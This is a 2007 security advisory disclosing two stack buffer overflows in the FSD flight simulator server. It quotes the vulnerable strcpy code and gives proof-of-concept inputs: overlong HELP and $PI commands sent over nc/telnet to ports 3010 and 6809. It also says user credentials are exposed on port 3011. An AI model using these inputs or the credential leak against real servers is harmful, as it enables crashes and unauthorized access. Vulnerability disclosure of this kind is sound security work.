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                             Luigi Auriemma

Application:  FSD
http://www.mcdu.com/en/download.php 
Versions:     <= "V2.052 d9" (original FSD) and "V3.000 d9" (FSFDT FSD)
Platforms:    Windows and *nix
Bugs:         A] buffer-overflow in exechelp
              B] buffer-overflow in execmulticast
Exploitation: remote
Date:         01 Oct 2007
Author:       Luigi Auriemma
e-mail: aluigi@autistici.org 
              web:    aluigi.org


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1) Introduction
2) Bugs
3) The Code
4) Fix


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==============1) Introduction
==============

FSD is an (the only?) open source Flight Simulator server.
An interesting story about it is available here:

http://www.vatpac.org/administration/history.htm 


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======2) Bugs
======
------------------------------
A] buffer-overflow in exechelp
------------------------------

A buffer-overflow vulnerability caused by the usage of strcpy() on a
stack's buffer of 100 bytes is exploitable through the HELP command on
port 3010.

from sysuser.cpp:

void sysuser::exechelp(char **array, int count)
{
   int copymode=0, topicmode=0, globalmode=0;
   char topic[100],line[100];
   char *s=(count>0)?array[0]:(char *)NULL;
   if (s) strcpy(topic,s); else
   ...


-----------------------------------
B] buffer-overflow in execmulticast
-----------------------------------

Another stack buffer-overflow with another buffer of 100 bytes is
exploitable through the sending of various commands to port 6809 which
calls the sendmulticast function.

from servinterface.cpp:

int servinterface::sendmulticast(client *source, char *dest, char *s,
   int cmd, int multiok, absuser *ex)
{
   client *destination=NULL;
   char data[1000], servdest[100];
   ...
   switch (dest[0])
   {
      case '@': case '*':
         if (!multiok) return 0;
         strcpy(servdest, dest);
         break;
      default:
         sprintf(servdest,"%%%s",dest);
         ...


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==========3) The Code
==========

A]
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
it's easy to recognize since it shows a "FSD>" prompt) and then send:

HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

B]
connect with nc or telnet to port 6809, now you must log in or create a
new user, but seems that all usernames and passwords are available on
port 3011 (or 3012) where they are sent just when you connect:

#AAcallsign::ident:122222:122222:1:9
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

(in the above example the first 122222 is the CID and the second one is
the password)


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=====4) Fix
=====

No fix.
No reply from the current maintainers (MCDU).


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--- 
Luigi Auriemma
http://aluigi.org 
http://forum.aluigi.org 
http://mirror.aluigi.org